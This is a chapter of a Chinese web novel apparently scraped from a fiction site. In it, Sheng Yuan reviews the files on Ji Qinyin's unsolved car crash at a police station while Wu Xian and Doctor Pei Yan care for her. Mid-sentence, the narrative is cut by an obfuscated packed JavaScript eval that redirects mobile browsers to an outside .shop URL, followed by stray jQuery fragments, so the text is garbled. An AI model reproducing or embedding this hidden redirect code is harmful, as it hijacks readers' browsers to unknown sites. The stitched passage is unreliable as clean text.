文趣网 > 都市小说 > 春归梦里 > 6. 春归(6)
    傍晚的天阴沉沉的,没一会就落起了大雨,将刚下班的行人浇了个透。衣衫湿透的人们只是淡定地抬头瞥了眼天,便继续顶着风雨往家的方向赶去。

    荔城的夏季向来如此,前一秒阳光明媚,后一秒就漂泊大雨。

    这样的天气,他们早习惯了。

    市中心的平层公寓,一名黑衣人守着轮椅上昏睡过去的女人着急的等着吴羡。

    终于,电梯门开了。

    一个宽肩窄腰,戴着黑色帽子的少年走了出来。他抬起帽子下那半张隽秀斯文的脸,瞧着门口站着的傻大个,眉心立刻拧成一条川字,不耐烦的吼道。

    “将人带进去啊,傻站着干啥?”

    跟在吴羡身后的黑衣人看着自家兄弟被骂,那是一句话也不敢说。

    他家少爷也就长着一张斯文的脸,实则脾气可是圈里出了名的差。

    一点就着。

    那被骂的黑衣人缩了缩脖子,声音透着委屈,有些窝囊:“爷……你没给我钥匙,我进不去。”

    “……”吴羡顿了顿,随即烦躁地“啧”了一声。

    倒是把这茬给忘了。

    不过,钥匙他也忘带了。

    吴羡冷着脸,念出了一串数字,那保镖似是没反应过来,还傻愣愣地站着,让人火气上头:“愣着干什么,输密码!”

    “哦,”见他脸色不悦的黑衣人才反应过来,手忙脚乱地去输密码。

    另一名黑衣人有眼色的上前,准备将季覃音从轮椅里抱起。

    “我来。”吴羡蹙眉瞧着他那粗鲁的样,拉住他,干脆自己上前将她从轮椅上抱起:“开门。”

    怎么这么轻?

    吴羡蹙眉低眸瞧了眼怀里的她,随后抱着季覃音就进了门。

    两名黑衣人互看了一眼,也赶紧进了门。

    客房被他改成了电竞房,他看着沙发犹豫了两秒,最终还是径直走向自己的卧房。

    “醒来可别告诉吴霁,说我虐待你。”

    他可不是怕吴霁,只是怕吴霁停他的卡。

    吴羡将季覃音轻轻的放到自己卧室的床上,又被她拉被子盖上,才拧着眉头回过身问黑衣人。

    “裴言到哪了?”

    黑衣人小木赶紧回道:“裴医生说,他马上就到了。”

    ——

    天将将亮,盛愿和濯临就离开了学校。

    一夜没怎么合眼的濯临,到了城里第一件事,就是让保镖订了附近最好的酒店,打算洗个澡换身干净衣裳,再补补觉。

    濯临去洗澡时,盛愿就坐在沙发上,一言不发。片刻后,他忽然起身,径直朝门口走去。

    听见声音的濯临才扣上衬衣扣子,就探出头来。见盛愿已经走到了门口,不由得一愣,开口叫住他:“阿愿,你去哪里?”

    盛愿没回头,只淡淡丢下一句:“去当地公安局。”

    “公安局?”

    濯临眉头一蹙,赶忙穿上裤子,推开门三两步就追了上去,伸手搭在他的肩膀上,气喘吁吁:“你等等我,我跟你一起去。”

    盛愿没说话,目光往下落了落,定在他脚上那双酒店拖鞋上,这才慢悠悠地开口:“你确定?”

    “确定啊,有什么不能确定的,不就是去一趟公安局吗?”濯临云里雾里,又顺着他的视线落下去,才发现自己穿着酒店的拖鞋就出门了。

    “……”

    从未这般不得体出门的濯临,瞬间心碎了,心如死灰的闭上了眼睛。

    他所有的颜面在西塘算是丢尽了。

    西塘公安局。

    接待室里,桌上四杯茶水都已凉了,一名中年警官从外走了进来,将一个封好泛黄的档案袋推到盛愿面前,封条上写着编号和日期。

    盛愿赶忙撕开封条,将里面的文件拿出来。

    “只有这些?“

    “是,盛先生,关于季小姐车祸的所有档案都在这了。”那警官坐在他们对面,语气平缓的说起他们当年调察的结果:“当年西塘还穷乡僻壤,监控没大量覆盖,事发路段太偏,唯一的目击证人也在今年年初去世。所以这个案子,到现在也没能侦破。”

    “我们的人手有限,没有新的发现,只能搁置。”

    盛愿没说话,一页页的看着当时的案发现场。照片上的路面泥泞不堪,那辆尾号为88的车翻倒在路边的沟里,车前头玻璃碎了,车门也变形,里里外外却没看到一点血。

    盛愿抬眸问对面的警官:“那晚是雨夜?”

    警官沉重的点头:“不错,出事那晚正下着大雨,不过能确定发生车祸时还没下雨。”

    “所以,现场的那些痕迹被五分钟后的那场雨水给冲刷干净了。”一旁听着的濯临也忍不住搭话,随后他又凑过去看那笔录,越看眉头越拧的紧。

    “司机当场死亡?目击证人也去世了?”他顿了顿,看向警官:“那她生前有没有留下什么东西,或者……有没有提到过什么可疑的人和事?”

    警官想了想,随后摇了摇头:“该问的都问过了。不过,当年办案的老刑警倒是提过一嘴,说这场车祸,看起来不像是意外。”

    盛愿看着照片上的日期,手指倏地顿住,眸色一暗。

    当然不是意外,事发那天,是他联系不上季覃音的第一天。

    哪有这么巧的事?

    盛愿抬眸看向对面的警官,语气平淡却带着不容置疑的笃定:“卓玛警官,这份资料我要带走。人,我会找到。”

    卓玛听了他的话,很是为难,瞧着他的脸色,叹了口气,犹豫开口:“盛先生,按规定是不行的。你稍等一下,我给我们局长打个电话请示一下。”

    盛愿点头,朝着门口的警官又道:“卓警官,我还需要你们帮我调一下这几日车站附近的监控。”

    ……

    从公安局出来后,盛愿和濯临拿着那份一比一复制的档案先回了酒店。两人简单的收拾了一下,就坐上车前往机场。

    车内很安静。

    盛愿一遍遍的看着从公安局拷贝下来的视频。里面的她依旧一头乌丽秀发,气质清婉,穿着一身藏服站在路边恍然。

    视频里的她站的很远,几乎看不清她的脸,但盛愿却能看出她比以前更消瘦了。

    濯临翻着手机,看着发来的消息,忽地他偏过头对后座的盛愿说:“阿愿,我查到了她的机票信息,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939391|213845||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就在前天下午。但机场那边说,没有她登机的记录。”

    “你说,她有没有可能还在西塘?”

    不知为何,盛愿却沉眸摇头:“不会。她回荔城了。”

    濯临眨了眨眼,半信半疑的看他:“你就这么肯定?”

    “直觉。”

    “……”

    他没想到,有生之年也能听盛愿说直觉二字。他可是从来不信这些的人。

    “行,我信你。”

    —

    看诊过程着实无聊,吴羡烟瘾犯了,自顾自的点起一支烟,才吐出一口烟,就被正在给季覃音把脉的裴言喝住了:“出去抽。”

    吴羡抽烟的手一顿,指尖夹着的烟。他垂眸看向床上因香烟而蹙眉的季覃音,难得没争执一二。

    “抱歉,我出去抽。”

    吴羡说完,带上门出去了。

    房间一下安静下来,只剩下两人的呼吸声。

    裴言垂眼瞧着床上昏迷的季覃音,目光沉沉,半晌才低声开口:“你还是回来了。”

    这次,荔城又要天翻地覆。

    片刻后,吴羡抽完烟,洗完手,推门进来了。

    见裴言取下听诊器,他问:“怎么样?”

    裴言给她挂了两瓶葡萄糖和一瓶生理盐水,才道:“没什么大碍。”

    “那她为什么……脸色这么差?

    裴言给季覃音扎完针,调好滴水的速度,才转身收拾医药箱,给吴羡解释:“没吃饭,低血糖犯了。”

    他低头收拾着,无意落下一句:“她从小就有这个毛病。”

    “都怪那两个蠢货。”吴羡蹙眉嘟囔一句,随后他又眯起眼,目光深沉的看向他,笃定道:“你认识她?我可从头到尾都没说她是谁。”

    裴言眼眸一凝,合上药箱,推了推眼镜,淡声丢下一句:“季家小姐,荔城谁不知道。”

    说完,他转身就去了洗手间。

    洗手池的水哗哗的流,他关了水,抬眸看向镜子的自己,思绪回到了那天下午。

    “裴学长,对不起,我不能答应你,我有男朋友了。”

    这句话犹如惊天霹雳,将一贯温文尔雅的裴言劈的脸上的表情都要裂开了。

    看着她,依旧温和:“没关系季学妹,我等你改变注意的那天。”

    可这句话直到他毕业那天,也没听到。

    …

    身后传来了脚步声。

    是吴羡进来了,他靠在门框上,双臂抱胸,目光带着审视直直落在镜中的裴言脸上。

    “裴言,你不对劲。”

    两人相识多年,吴羡自然看得出他今日的怪异。

    裴言敛下眸,拿起池边的眼镜戴上,回身看向吴羡,没说话。

    吴羡蹙眉,往前走了两步,拦住他的去路。压低声音,带着一种半真半假的试探:“你也喜欢季覃音?”

    里间瞬间安静下来。

    裴言停下脚步,看了他一眼,面色恢复了以往的平淡,嗓音也没什么起伏:“……不喜欢。”

    但,确实对她起过心思。

    "季家需要帮忙,裴家我可以做主。季覃音,你要不要和我结婚?"